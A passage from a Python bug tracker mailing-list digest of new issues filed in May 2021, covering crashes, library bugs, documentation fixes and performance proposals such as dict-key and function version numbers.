ERROR: InvocationError for command 'C:\Users\asott\AppData\Local\Temp\y\pyflakes\.tox\py310\Scripts\flake8.EXE' pyflakes setup.py (exited with code 3221225477)
```

from some googling:

> in hex is 0xc0000005 which is the Windows code for an access violation


I don't do much development on windows so I'm passing the torch to someone who knows more :)

----------
messages: 393999
nosy: Anthony Sottile
priority: normal
severity: normal
status: open
title: crash on windows invoking flake8 under tox
versions: Python 3.10

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44184>
_______________________________________

From report at bugs.python.org  Thu May 20 04:17:05 2021
From: report at bugs.python.org (William Sjoblom)
Date: Thu, 20 May 2021 08:17:05 +0000
Subject: [New-bugs-announce] [issue44185] mock_open file handle __exit__
 does not call close
Message-ID: <1621498625.9.0.422400740011.issue44185@roundup.psfhosted.org>


New submission from William Sjoblom <wllmsjblm at gmail.com>:

A common testing scenario is assuring that opened files are closed. Since unittest.mock.mock_open() can be used as a context manager, it would be reasonable to expect its __exit__ to invoke close so that one can easily assert that the file was closed, regardless of if the file was opened with a plain call to open or with a context manager.

----------
components: Library (Lib)
messages: 394005
nosy: williamsjoblom
priority: normal
severity: normal
status: open
title: mock_open file handle __exit__ does not call close
type: enhancement
versions: Python 3.10, Python 3.11, Python 3.6, Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44185>
_______________________________________

From report at bugs.python.org  Thu May 20 06:21:59 2021
From: report at bugs.python.org (Eiji Ito)
Date: Thu, 20 May 2021 10:21:59 +0000
Subject: [New-bugs-announce] [issue44186] TimedRotatingFileHandler overwrite
 log
Message-ID: <1621506119.34.0.442557367091.issue44186@roundup.psfhosted.org>


New submission from Eiji Ito <aeffy7 at gmail.com>:

If you use TimedRotatingFileHandler and specify when='midnight',atTime, the log will always rollover if you start it at the same time as atTime.

For example, if atTime='00:00:00', and you run a script that outputs logs using the logger library twice at 00:00:00, the log that was rolled over the first time will be overwritten by the second rollover, and the 1st rollovered log will be lost.

----------
components: Library (Lib)
messages: 394009
nosy: aeg
priority: normal
severity: normal
status: open
title: TimedRotatingFileHandler overwrite log
type: behavior
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44186>
_______________________________________

From report at bugs.python.org  Thu May 20 07:15:19 2021
From: report at bugs.python.org (Mark Shannon)
Date: Thu, 20 May 2021 11:15:19 +0000
Subject: [New-bugs-announce] [issue44187] Implement infrastructure for
 quickening and specializing
Message-ID: <1621509319.67.0.0822328288042.issue44187@roundup.psfhosted.org>


New submission from Mark Shannon <mark at hotpy.org>:

As described in PEP 659 (Specializing Adaptive Interpreter) the first part of implementing specialization is to implement the machinery to do the quickening.

Conceptually, this is fairly simple: add a new field to the code object, which points to the first instruction in the bytecode.

When quickening, we create a new array, copy the old bytecode into it, and make the new field point to it.

Without any specialization or superinstructions, this will just waste memory.
However, it will pay off soon enough as we implement superinstructions, remove the old "opcache" and add new specializations.

We expect to see worthwhile speed ups with just superinstructions, and large speedups when all the above features have been implemented.

----------
assignee: Mark.Shannon
messages: 394013
nosy: Mark.Shannon
priority: normal
severity: normal
status: open
title: Implement infrastructure for quickening and specializing
type: performance

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44187>
_______________________________________

From report at bugs.python.org  Thu May 20 07:51:36 2021
From: report at bugs.python.org (Bennie Swart)
Date: Thu, 20 May 2021 11:51:36 +0000
Subject: [New-bugs-announce] [issue44188] ThreadPoolExecutor unbalanced
 semaphore count
Message-ID: <1621511496.17.0.839085647104.issue44188@roundup.psfhosted.org>


New submission from Bennie Swart <bennieswart at gmail.com>:

The concurrent.futures.ThreadPoolExecutor class, which is the default asyncio executor, introduced the _idle_semaphore field in version 3.8 in order to track idle threads so they can be reused before increasing the pool size unnecessarily.
This semaphore counter becomes unbalanced when the thread pool is over-saturated, as can be seen in the file provided. This is due to workers always incrementing the count after finishing a job, whereas the executor only decrements the count if it is already greater than 0.
This seems to be a logic bug unrelated to the running environment and introduced since python 3.8.

----------
components: asyncio
files: bug.py
messages: 394017
nosy: asvetlov, bennieswart, yselivanov
priority: normal
severity: normal
status: open
title: ThreadPoolExecutor unbalanced semaphore count
type: behavior
versions: Python 3.8
Added file: https://bugs.python.org/file50054/bug.py

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44188>
_______________________________________

From report at bugs.python.org  Thu May 20 08:11:12 2021
From: report at bugs.python.org (Antony Lee)
Date: Thu, 20 May 2021 12:11:12 +0000
Subject: [New-bugs-announce] [issue44189] multiprocessing AF_PIPE name
 format is slightly confusing in the docs
Message-ID: <1621512672.42.0.522584342621.issue44189@roundup.psfhosted.org>


New submission from Antony Lee <anntzer.lee at gmail.com>:

https://docs.python.org/3/library/multiprocessing.html#address-formats currently states

> An 'AF_PIPE' address is a string of the form r'\.\pipe{PipeName}'. To use Client() to connect to a named pipe on a remote computer called ServerName one should use an address of the form r'\ServerName\pipe{PipeName}' instead.

which suggests that if the pipe is named "foo", the string should be r'\.\pipe{foo}' (especially given that the other substituted string, ServerName, is given in italics... but actually the correct format is r'\.\pipe\foo'.

Hence I would suggest fixing the markup to give name formats as r'\.pipe\PipeName' where PipeName, is in italics, like ServerName.

----------
assignee: docs at python
components: Documentation
messages: 394020
nosy: Antony.Lee, docs at python
priority: normal
severity: normal
status: open
title: multiprocessing AF_PIPE name format is slightly confusing in the docs

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44189>
_______________________________________

From report at bugs.python.org  Thu May 20 10:40:20 2021
From: report at bugs.python.org (David Hariri)
Date: Thu, 20 May 2021 14:40:20 +0000
Subject: [New-bugs-announce] [issue44190] Dictionary assignment shorthand
Message-ID: <1621521620.13.0.853268925141.issue44190@roundup.psfhosted.org>


New submission from David Hariri <david.hariri at gmail.com>:

In some languages, one may declare a dictionary's key and its value like so:

```
foo = "bar"

my_dict = { foo }
>> { "foo" : "bar" }
```

In Python, one must instead write:

```
foo = "bar"

my_dict = {
    "foo": foo
}
>> { "foo" : "bar" }
```

I humbly suggest this change as a QoL improvement for those who work with dictionaries all day.

----------
messages: 394027
nosy: davidhariri
priority: normal
severity: normal
status: open
title: Dictionary assignment shorthand
type: enhancement

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44190>
_______________________________________

From report at bugs.python.org  Thu May 20 12:22:02 2021
From: report at bugs.python.org (=?utf-8?q?Luis_Gonz=C3=A1lez?=)
Date: Thu, 20 May 2021 16:22:02 +0000
Subject: [New-bugs-announce] [issue44191] Getting an ImportError DLL load
 failed while importing _ssl
Message-ID: <1621527722.25.0.757236958787.issue44191@roundup.psfhosted.org>


New submission from Luis Gonz?lez <lnegger at gmail.com>:

Good morning everyone. First of all, I would like apologize for my poor english. I'm a very newby programming in python.  I'm getting an ImportError DLL load failed while importing _ssl. Can't find _ssl.pyd, from my EXE file created by de sentence "Python setup.py py2exe". The file _ssl.pyd, is at the same folder than the .exe file. Thanks in advance.

----------
assignee: christian.heimes
components: SSL
messages: 394033
nosy: christian.heimes, lnegger
priority: normal
severity: normal
status: open
title: Getting an ImportError DLL load failed while importing _ssl
type: crash
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44191>
_______________________________________

From report at bugs.python.org  Thu May 20 13:01:23 2021
From: report at bugs.python.org (ReOb)
Date: Thu, 20 May 2021 17:01:23 +0000
Subject: [New-bugs-announce] [issue44192] Annotations,
 Inheritance and Circular Reference
Message-ID: <1621530083.02.0.0042523880734.issue44192@roundup.psfhosted.org>


New submission from ReOb <contact.reob at gmail.com>:

Basically, I have:

```
class Base:
    _sub: list[Sub]

class Sub:
    _parent: Base
```

What creates a circular reference.

It could be solved doing:

```
class Sub:
    pass

class Base:
    _sub: list[Sub]

class Sub:
    _parent: Base
```

But in the annotation, I will get the class Sub without his annotations, methods and properties (the first definition is not updated in annotation after the redefinition).

Then, I suggest one of three possible solutions:

1. Update the reference to class in annotations if the class was redefined
2. Add a way to forward declaration (it could be implemented by a new reserved word "forward")
3. Or, like Ruby, make that the redefinition of a class, open the class to change the definition of class, including new methods, properties and annotations.

It is very important to have the correct type in annotation, because we use this type to create new objects dinamically, but actually is impossible to solve this problem because we can not have the correct definition at both classes: Base and Sub class.

When we use the type annotated to create a new object, as it is, we loose the annotations, methods and properties defined at the redefinition of the class.

This problem occurs only if we use annotations.

Like Python added the possibility to define annotations, needs to provide one of these solutions pointed (or another) to solve problems like this.

If the decision was to implement a forward reserved word, it could be solved doing:

```
class Sub:
    forward

class Base:
    _sub: list[Sub]

class Sub:
    _parent: Base
```

If the first or third solution was preferred this code will work:

```
class Sub:
    pass

class Base:
    _sub: list[Sub]

class Sub:
    _parent: Base
```

I hope Python could implement one of these solutions to provide a better support for annotations, because actually what we have are two classes, with the same name, that walks like a duck, swim like a duck, sound like a duck but they are not the same duck, and they should be.

The framework that we are developping depends strongly that we could get the correct type from annotation to create the correct object based on this.

I hope it could be handled as soon as possible, because change the definition to another class that was a super class of both classes (Base and Sub, in this example) will not permit us to know the correct class to create another object dinamically and probabily we will need to create a hack to handle this, making the code less Pythonic.

Thanks.

----------
components: Parser
messages: 394038
nosy: lys.nikolaou, pablogsal, reob-info
priority: normal
severity: normal
status: open
title: Annotations, Inheritance and Circular Reference
type: resource usage
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44192>
_______________________________________

From report at bugs.python.org  Thu May 20 13:52:19 2021
From: report at bugs.python.org (Joshex)
Date: Thu, 20 May 2021 17:52:19 +0000
Subject: [New-bugs-announce] [issue44193] socket line 46 import _socket
 Import Error
Message-ID: <1621533139.32.0.125494258186.issue44193@roundup.psfhosted.org>


New submission from Joshex <joshex1 at yahoo.com>:

I assume someone has already fixed this problem, as I am using a very old version of python compatible with my version of blender. Though after searching, I found results for the same error message only a month or 2 ago.

anyways, my version of python 2.6.2 is out of support. but I assume if this has recently been fixed for more recent python modules, the same sort of fix could be applied to my install.

The problem is, I am on 64 bit windows 7 with 64 bit python 2.6.2 installed to use blender 2.49b. I have a 32 bit computer and verified the error does not appear when importng the socket module there! only on my 32 bit computer., I tried uninstalling 64 bit python from C:\Python26 and reinstalling to C:\Program Files (x86)\Python26. I have updated the system environment variables, to include this in the python path.

and I still get 
"C:\Program Files (x86)\Python26\LIB\socket.py", line 46, in <module> 
import _socket 
ImportError: DLL load failed: %1 is not a valid Win32 application

I would be happy if someone remembered the fix for this so I could apply it myself.

----------
messages: 394043
nosy: Joshex
priority: normal
severity: normal
status: open
title: socket line 46 import _socket Import Error

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44193>
_______________________________________

From report at bugs.python.org  Thu May 20 15:03:34 2021
From: report at bugs.python.org (Batuhan Taskaya)
Date: Thu, 20 May 2021 19:03:34 +0000
Subject: [New-bugs-announce] [issue44194] Folding ''.join(<known number of
 elts>) into f-strings
Message-ID: <1621537414.24.0.919441492854.issue44194@roundup.psfhosted.org>


New submission from Batuhan Taskaya <isidentical at gmail.com>:

Since strings are immutable types, we could fold some operation on top of them. Serhiy has done some work on issue 28307 regarding folding `str % args` combination, which I think we can extend even further. One simple example that I daily encounter is that, there is this pattern

'/'.join([something, something_else, user_arg])

where people would join N number of elements together with a separator, where the N is something that we know. Just a search over some locally cloned PyPI projects (a couple thousand, showed 5000+ occurrences where this optimization applies).

The preliminary benchmarks indicate that the speedup is about %40. Though there are multiple issues that might concern others:
   - type checking, f-strings cast automatically but .join() requires each element to be a string subclass. The current implementation introduces a new conversion called 'c' which actually does the type checking instead of converting the value.
   - preventing a call to a runtime function, I belive that this work is not that different than issue 28307 which prevents str.__mod__ though I understand the concern

Here is the implementation if anybody wants to take a look at it: https://github.com/isidentical/cpython/commit/d7ea8f6e38578ba06d28deb4b4a8df676887ec26

I believe that the implementation can be optimized further (etc if a continuous block of elements are a string, then we can load all of them in one go!). And some cases proved that the f-strings might be faster than the join by 1.7-1.8x.

----------
messages: 394049
nosy: BTaskaya, eric.smith, pablogsal, serhiy.storchaka
priority: normal
severity: normal
status: open
title: Folding ''.join(<known number of elts>) into f-strings

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44194>
_______________________________________

From report at bugs.python.org  Thu May 20 15:19:52 2021
From: report at bugs.python.org (=?utf-8?q?Filipe_La=C3=ADns?=)
Date: Thu, 20 May 2021 19:19:52 +0000
Subject: [New-bugs-announce] [issue44195] importlib.abc.TraversableReader is
 not implemented
Message-ID: <1621538392.98.0.999702978705.issue44195@roundup.psfhosted.org>


New submission from Filipe La?ns <lains at riseup.net>:

7f7e706d78ab968a1221c6179dfdba714860bd12 introduced the files() api and documented a importlib.abc.TraversableReader protocol, but it did not implement it.

This class is documented and marked as introduced in 3.9, but it's actually missing.

----------
messages: 394052
nosy: FFY00, brett.cannon, jaraco
priority: normal
severity: normal
status: open
title: importlib.abc.TraversableReader is not implemented
type: behavior
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44195>
_______________________________________

From report at bugs.python.org  Thu May 20 15:42:10 2021
From: report at bugs.python.org (=?utf-8?q?Filipe_La=C3=ADns?=)
Date: Thu, 20 May 2021 19:42:10 +0000
Subject: [New-bugs-announce] [issue44196] Document that
 importlib.abc.Traversable's methods should raise FileNotFoundError
Message-ID: <1621539730.49.0.96209264228.issue44196@roundup.psfhosted.org>


New submission from Filipe La?ns <lains at riseup.net>:

ResourceReader used to have this requirement, Traversable does not. We cannot add a requirement as there might be users not doing this, but we can ask new users to do so.

We should document that FileNotFoundError should be raised if a file is not found, but that it is not guaranteed that it will for all Traversable implementations for compatibility reasons.

----------
assignee: docs at python
components: Documentation
messages: 394055
nosy: FFY00, brett.cannon, docs at python, jaraco
priority: normal
severity: normal
status: open
title: Document that importlib.abc.Traversable's methods should raise FileNotFoundError
versions: Python 3.10

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44196>
_______________________________________

From report at bugs.python.org  Thu May 20 16:26:22 2021
From: report at bugs.python.org (latot)
Date: Thu, 20 May 2021 20:26:22 +0000
Subject: [New-bugs-announce] [issue44197] [request feature] Itertools
 extended combinations to limited number of repetition
Message-ID: <1621542382.26.0.0131727923077.issue44197@roundup.psfhosted.org>


New submission from latot <felipematas at yahoo.com>:

Hi, some time ago I was looking for a function in itertools, actually, the combination functions allow us to have or not repetitions of element, have in consideration that if we allow repetitions there can be any amount of them, no way to limit the number of repetitions.

Here I asked in stackoverflow about this if there is a lib or option, in the end we wasn't able to found any about this and there was an answer with the solution.

I think this solution worth to be added to itertools, conceptually, the actual 2 functions of combinations are particular cases of this function.

https://stackoverflow.com/questions/67559105/combinatory-with-n-picked-elements-and-limited-repetitions-in-python/67559625

Well, there can be a extension of this too, where we can say, "how many times every particular element can be repeated".

Both of this things world be useful.

Thx.

----------
components: Library (Lib)
messages: 394061
nosy: latot
priority: normal
severity: normal
status: open
title: [request feature] Itertools extended combinations to limited number of repetition

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44197>
_______________________________________

From report at bugs.python.org  Thu May 20 16:56:21 2021
From: report at bugs.python.org (Mikhail)
Date: Thu, 20 May 2021 20:56:21 +0000
Subject: [New-bugs-announce] [issue44198] Add flags or function in
 pathlib.Path
Message-ID: <1621544181.25.0.265520338591.issue44198@roundup.psfhosted.org>


New submission from Mikhail <tetelev99 at mail.ru>:

Hello! This is a very useful feature when a Path-object gets a list (or generator, as it is now) of files/dirs in self.dir, I think. Right now this is the .iterdir() function, but sometimes you only need `dirs` of that path (for example, I really needed the function when I was working with images for classification), and at the moment this is only solved by (path for path in root.iterdir() if path.is_dir()). You could make separate functions for this, but I suggest just adding the only_dirs/only_files(/only_links) flags to .iterdir().

----------
components: Library (Lib)
messages: 394064
nosy: tetelevm
priority: normal
severity: normal
status: open
title: Add flags or function in pathlib.Path
versions: Python 3.10

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44198>
_______________________________________

From report at bugs.python.org  Thu May 20 19:08:33 2021
From: report at bugs.python.org (HVoltBb)
Date: Thu, 20 May 2021 23:08:33 +0000
Subject: [New-bugs-announce] [issue44199] code example index error in
 tutorial controlflow
Message-ID: <1621552113.7.0.197671013428.issue44199@roundup.psfhosted.org>


New submission from HVoltBb <cannioc at gmail.com>:

An index error in the code example given just above https://docs.python.org/3/tutorial/controlflow.html#documentation-strings

The code now is :
pairs = [(1, 'one'), (2, 'two'), (3, 'three'), (4, 'four')]
pairs.sort(key=lambda pair: pair[1])
pairs

The "pair[1]" in the second line should be "pair[0]".

----------
assignee: docs at python
components: Documentation
messages: 394077
nosy: HVoltBb, docs at python
priority: normal
severity: normal
status: open
title: code example index error in tutorial controlflow
type: behavior
versions: Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44199>
_______________________________________

From report at bugs.python.org  Thu May 20 20:09:17 2021
From: report at bugs.python.org (=?utf-8?q?Filipe_La=C3=ADns?=)
Date: Fri, 21 May 2021 00:09:17 +0000
Subject: [New-bugs-announce] [issue44200] Recommend
 importlib.abc.Traversable users to implement __fspath__
Message-ID: <1621555757.0.0.446826001958.issue44200@roundup.psfhosted.org>


New submission from Filipe La?ns <lains at riseup.net>:

The files()/Traversable api is meant to replace ResourceReader api, but it falls short in one dimension, tying the abstraction to a file system path.

I propose to document that Traversable users *should* implement __fspath__ if the Traversable represents a file-system path.

This will essentially make os.fspath(importlib.resources.files(module) / resource) the equivalent of importlib.resources.path(module, resource), for which currently there is no replacement using files().

----------
messages: 394083
nosy: FFY00, brett.cannon, jaraco
priority: normal
severity: normal
status: open
title: Recommend importlib.abc.Traversable users to implement __fspath__
versions: Python 3.10

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44200>
_______________________________________

From report at bugs.python.org  Thu May 20 20:34:22 2021
From: report at bugs.python.org (Guido van Rossum)
Date: Fri, 21 May 2021 00:34:22 +0000
Subject: [New-bugs-announce] [issue44201] REPL requests another line despite
 syntax error
Message-ID: <1621557262.74.0.483507293797.issue44201@roundup.psfhosted.org>


New submission from Guido van Rossum <guido at python.org>:

This seems a regression from 3.9.

>>> foo[x = 1
... ]
  File "<stdin>", line 1
    foo[x = 1
        ^^^^^
SyntaxError: invalid syntax. Maybe you meant '==' or ':=' instead of '='?
>>>

Note how the syntax error is in line 1 and yet the REPL asks for more input (the "..." prompt) and doesn't stop until I type "]".

In 3.9 I just get "SyntaxError: invalid syntax" but the REPL doesn't ask for the second line:

>>> foo[x = 1
  File "<stdin>", line 1
    foo[x = 1
          ^
SyntaxError: invalid syntax
>>>

----------
messages: 394087
nosy: gvanrossum
priority: normal
severity: normal
status: open
title: REPL requests another line despite syntax error
type: compile error
versions: Python 3.10

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44201>
_______________________________________

From report at bugs.python.org  Thu May 20 20:40:18 2021
From: report at bugs.python.org (=?utf-8?q?Filipe_La=C3=ADns?=)
Date: Fri, 21 May 2021 00:40:18 +0000
Subject: [New-bugs-announce] [issue44202] Add errors argument to
 importlib.abc.Traversable.read_text
Message-ID: <1621557618.8.0.0795538281647.issue44202@roundup.psfhosted.org>


New submission from Filipe La?ns <lains at riseup.net>:

errors should be supported by Traversable.open and is currently supported in importlib.resources.open_text, but Traversable.read_text cannot do it, making it an unsuitable replacement for open_text.

----------
messages: 394088
nosy: FFY00, brett.cannon, jaraco
priority: normal
severity: normal
status: open
title: Add errors argument to importlib.abc.Traversable.read_text

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44202>
_______________________________________

From report at bugs.python.org  Fri May 21 06:48:37 2021
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 21 May 2021 10:48:37 +0000
Subject: [New-bugs-announce] [issue44203] test__xxsubinterpreters:
 heap-buffer-overflow in interp_is_running() on AMD64 Arch Linux Asan 3.x
Message-ID: <1621594117.76.0.160103726928.issue44203@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at python.org>:

AMD64 Arch Linux Asan 3.x:
https://buildbot.python.org/all/#/builders/582/builds/157

See also:

* bpo-37224: [subinterpreters] test__xxsubinterpreters fails randomly 
* bpo-44100: test__xxsubinterpreters: test_one() fails in AMD64 Fedora Stable 3.x: "Fatal Python error: Py_EndInterpreter: thread still has a frame" 

0:37:59 load avg: 1.07 Re-running test__xxsubinterpreters in verbose mode
(...)
test_from_sibling (test.test__xxsubinterpreters.DestroyTests) ... ok
test_main (test.test__xxsubinterpreters.DestroyTests) ... ok
test_one (test.test__xxsubinterpreters.DestroyTests) ... ok
=================================================================
==16132==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x608000783694 at pc 0x7f20abecb577 bp 0x7fff392627b0 sp 0x7fff392627a0
READ of size 1 at 0x608000783694 thread T0
    #0 0x7f20abecb576 in _PyFrame_IsExecuting Include/cpython/frameobject.h:53
    #1 0x7f20abecb576 in _is_running /buildbot/buildarea/3.x.pablogsal-arch-x86_64.asan/build/Modules/_xxsubinterpretersmodule.c:1842
    #2 0x7f20abecb576 in interp_is_running /buildbot/buildarea/3.x.pablogsal-arch-x86_64.asan/build/Modules/_xxsubinterpretersmodule.c:2255
    #3 0x55a7ff1daa4f in cfunction_call Objects/methodobject.c:539
    (...)
    #194 0x55a7fed361f4 in Py_BytesMain Modules/main.c:720

0x608000783694 is located 12 bytes to the left of 96-byte region [0x6080007836a0,0x608000783700)
allocated by thread T0 here:
    #0 0x7f20b27b2459 in __interceptor_malloc /build/gcc/src/gcc/libsanitizer/asan/asan_malloc_linux.cpp:145
    #1 0x55a7ff035572 in _PyObject_GC_Alloc Modules/gcmodule.c:2250
    (...)
    #8 0x55a7ff24eedd in builtin___build_class__ Python/bltinmodule.c:225
    (...)
    #17 0x55a7fef8dd90 in exec_code_in_module Python/import.c:771
    (...)
    #20 0x55a7fefc33f6 in init_importlib Python/pylifecycle.c:141
    #21 0x55a7fefc33f6 in pycore_interp_init Python/pylifecycle.c:811
    #22 0x55a7fefccf03 in new_interpreter Python/pylifecycle.c:1916
    #23 0x55a7fefccf03 in _Py_NewInterpreter Python/pylifecycle.c:1946
    #24 0x7f20abec613c in interp_create /buildbot/buildarea/3.x.pablogsal-arch-x86_64.asan/build/Modules/_xxsubinterpretersmodule.c:2022
    (...)

(...)
make: *** [Makefile:1255: buildbottest] Error 1

----------
components: Tests
messages: 394103
nosy: eric.snow, nanjekyejoannah, vstinner
priority: normal
severity: normal
status: open
title: test__xxsubinterpreters: heap-buffer-overflow in interp_is_running() on AMD64 Arch Linux Asan 3.x
versions: Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44203>
_______________________________________

From report at bugs.python.org  Fri May 21 08:19:17 2021
From: report at bugs.python.org (Arpad Toth)
Date: Fri, 21 May 2021 12:19:17 +0000
Subject: [New-bugs-announce] [issue44204] socket.connect ignores CTRL+C
 during timeout on Win
Message-ID: <1621599557.33.0.994149096604.issue44204@roundup.psfhosted.org>


New submission from Arpad Toth <mrx23dot at gmail.com>:

Steps to Reproduce
from http.client import HTTPConnection
conn = HTTPConnection('192.1.5.2', 80, timeout=50)
conn.request('GET', '/')
conn.getresponse()

Expected Behavior
It should give up waiting when requested and exit immediately.

Actual Behavior
What happens instead.
Keeps doing it's timeout until elapse then exits.

The issue is in socket.connect, not in urllib3.

Environment
OS Windows-10-10.0.18362-SP0
Python 3.6.5
urllib3 1.26.3
!Doesn't happen on linux.

----------
components: Library (Lib)
messages: 394111
nosy: mrx23dot
priority: normal
severity: normal
status: open
title: socket.connect ignores CTRL+C during timeout on Win
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44204>
_______________________________________

From report at bugs.python.org  Fri May 21 11:10:36 2021
From: report at bugs.python.org (Chris Burr)
Date: Fri, 21 May 2021 15:10:36 +0000
Subject: [New-bugs-announce] [issue44205] shutil.copystat can fail when
 copying to a file system with a smaller limit
Message-ID: <1621609836.65.0.951968711114.issue44205@roundup.psfhosted.org>


New submission from Chris Burr <christopher.burr at cern.ch>:

When copying files between systems with different limits on the size of the extended attributes that can be added to a file shutil.copystat can fail with:

/cvmfs/lhcb.cern.ch/lib/var/lib/LbEnv/2064/stable/linux-64/lib/python3.8/shutil.py in copystat(src, dst, follow_symlinks)
    377     # We must copy extended attributes before the file is (potentially)
    378     # chmod()'ed read-only, otherwise setxattr() will error with -EACCES.
--> 379     _copyxattr(src, dst, follow_symlinks=follow)
    380     try:
    381         lookup("chmod")(dst, mode, follow_symlinks=follow)

/cvmfs/lhcb.cern.ch/lib/var/lib/LbEnv/2064/stable/linux-64/lib/python3.8/shutil.py in _copyxattr(src, dst, follow_symlinks)
    327             try:
    328                 value = os.getxattr(src, name, follow_symlinks=follow_symlinks)
--> 329                 os.setxattr(dst, name, value, follow_symlinks=follow_symlinks)
    330             except OSError as e:
    331                 if e.errno not in (errno.EPERM, errno.ENOTSUP, errno.ENODATA,

OSError: [Errno 28] No space left on device: '/tmp/lhcb'

This is caused by the destination filesystem having a smaller limit on the size of the extended attributes. I think this behaviour is unexpected as other failures are silently ignored (e.g. the destination doesn't support extended attributes).

----------
components: Library (Lib)
messages: 394118
nosy: chrisburr
priority: normal
severity: normal
status: open
title: shutil.copystat can fail when copying to a file system with a smaller limit
type: crash
versions: Python 3.10, Python 3.11, Python 3.6, Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44205>
_______________________________________

From report at bugs.python.org  Fri May 21 11:38:13 2021
From: report at bugs.python.org (Mark Shannon)
Date: Fri, 21 May 2021 15:38:13 +0000
Subject: [New-bugs-announce] [issue44206] Add a version number to dict keys.
Message-ID: <1621611493.74.0.261277793426.issue44206@roundup.psfhosted.org>


New submission from Mark Shannon <mark at hotpy.org>:

Add a version number to dict keys.

PEP 509 added a version number to dicts. Unfortunately this is no use for optimizing attribute loads and store on instances.
We need to know whether the keys are as expected, not the dict as that is likely to be different each time.

We can add a 32 bit version number and actually reduce memory use by taking advantage of the redundancy in the rest of the keys object.

----------
assignee: Mark.Shannon
messages: 394120
nosy: Mark.Shannon, methane, vstinner
priority: normal
severity: normal
stage: needs patch
status: open
title: Add a version number to dict keys.
type: performance

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44206>
_______________________________________

From report at bugs.python.org  Fri May 21 11:52:58 2021
From: report at bugs.python.org (Mark Shannon)
Date: Fri, 21 May 2021 15:52:58 +0000
Subject: [New-bugs-announce] [issue44207] Add a version number to Python
 functions
Message-ID: <1621612378.09.0.0247616387464.issue44207@roundup.psfhosted.org>


New submission from Mark Shannon <mark at hotpy.org>:

In order to specialize calls to Python functions, or to inline them, we need to know that the code object has not changed. It is also useful to know that the globals, builtins and various defaults haven't changed either. Rather than attempting to check these individually it is much simpler and faster to check a version number.

----------
assignee: Mark.Shannon
messages: 394124
nosy: Mark.Shannon
priority: normal
severity: normal
status: open
title: Add a version number to Python functions
type: performance

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44207>
_______________________________________

From report at bugs.python.org  Fri May 21 13:51:20 2021
From: report at bugs.python.org (William Barnhart)
Date: Fri, 21 May 2021 17:51:20 +0000
Subject: [New-bugs-announce] [issue44208] argparse: Accept option without
 needing to distinguish "-" from "_" in arg_string
Message-ID: <1621619480.47.0.120101426559.issue44208@roundup.psfhosted.org>


New submission from William Barnhart <williambbarnhart at gmail.com>:

An issue I encountered recently with argparse was when I tried running a script with its argument changed from something like:
```
parser.add_argument('--please_work')
```
and was replaced with:
```
parser.add_argument('--please-work')
```

I have not ever seen anyone add an argument where a function has two arguments existing in a function, such as please_work and please-work. I think this is a pretty safe feature to implement, plus it enforces good practices. So if I wrote something such as:

```
parser = argparse.ArgumentParser(description="check this out")
parser.add_argument('--please-work')
```

Then I could call the program using:
```
python3 test.py --please_work True
```
or:
```
python3 test.py --please-work True
```

----------
components: Library (Lib)
messages: 394135
nosy: wbarnha
priority: normal
severity: normal
status: open
title: argparse: Accept option without needing to distinguish "-" from "_" in arg_string
type: enhancement
versions: Python 3.10, Python 3.11, Python 3.6, Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44208>
_______________________________________

From report at bugs.python.org  Fri May 21 15:20:59 2021
From: report at bugs.python.org (Karl Y. Pradene)
Date: Fri, 21 May 2021 19:20:59 +0000
Subject: [New-bugs-announce] [issue44209] urllib.robotparser fail on
 Disallow: /? from google.com
Message-ID: <1621624859.22.0.835080944412.issue44209@roundup.psfhosted.org>


New submission from Karl Y. Pradene <karl.pradene at gmail.com>:

In robotparser.py
On line 222
path = urllib.parse.urlunparse(urllib.parse.urlparse(path))
tranform the entry Disallow: /?
in the google.com/robots.txt
in : Disallow: /
making every can_fetch request return False

----------
components: Library (Lib)
messages: 394144
nosy: karl.pradene
priority: normal
severity: normal
status: open
title: urllib.robotparser fail on Disallow: /? from google.com
type: behavior
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44209>
_______________________________________

From report at bugs.python.org  Fri May 21 16:21:24 2021
From: report at bugs.python.org (=?utf-8?q?Filipe_La=C3=ADns?=)
Date: Fri, 21 May 2021 20:21:24 +0000
Subject: [New-bugs-announce] [issue44210] Make
 importlib.metadata._meta.PackageMetadata public
Message-ID: <1621628484.8.0.908930544273.issue44210@roundup.psfhosted.org>


New submission from Filipe La?ns <lains at riseup.net>:

This protocol is needed to write type hints, so it should be public.

----------
components: Installation
messages: 394150
nosy: FFY00, jaraco
priority: normal
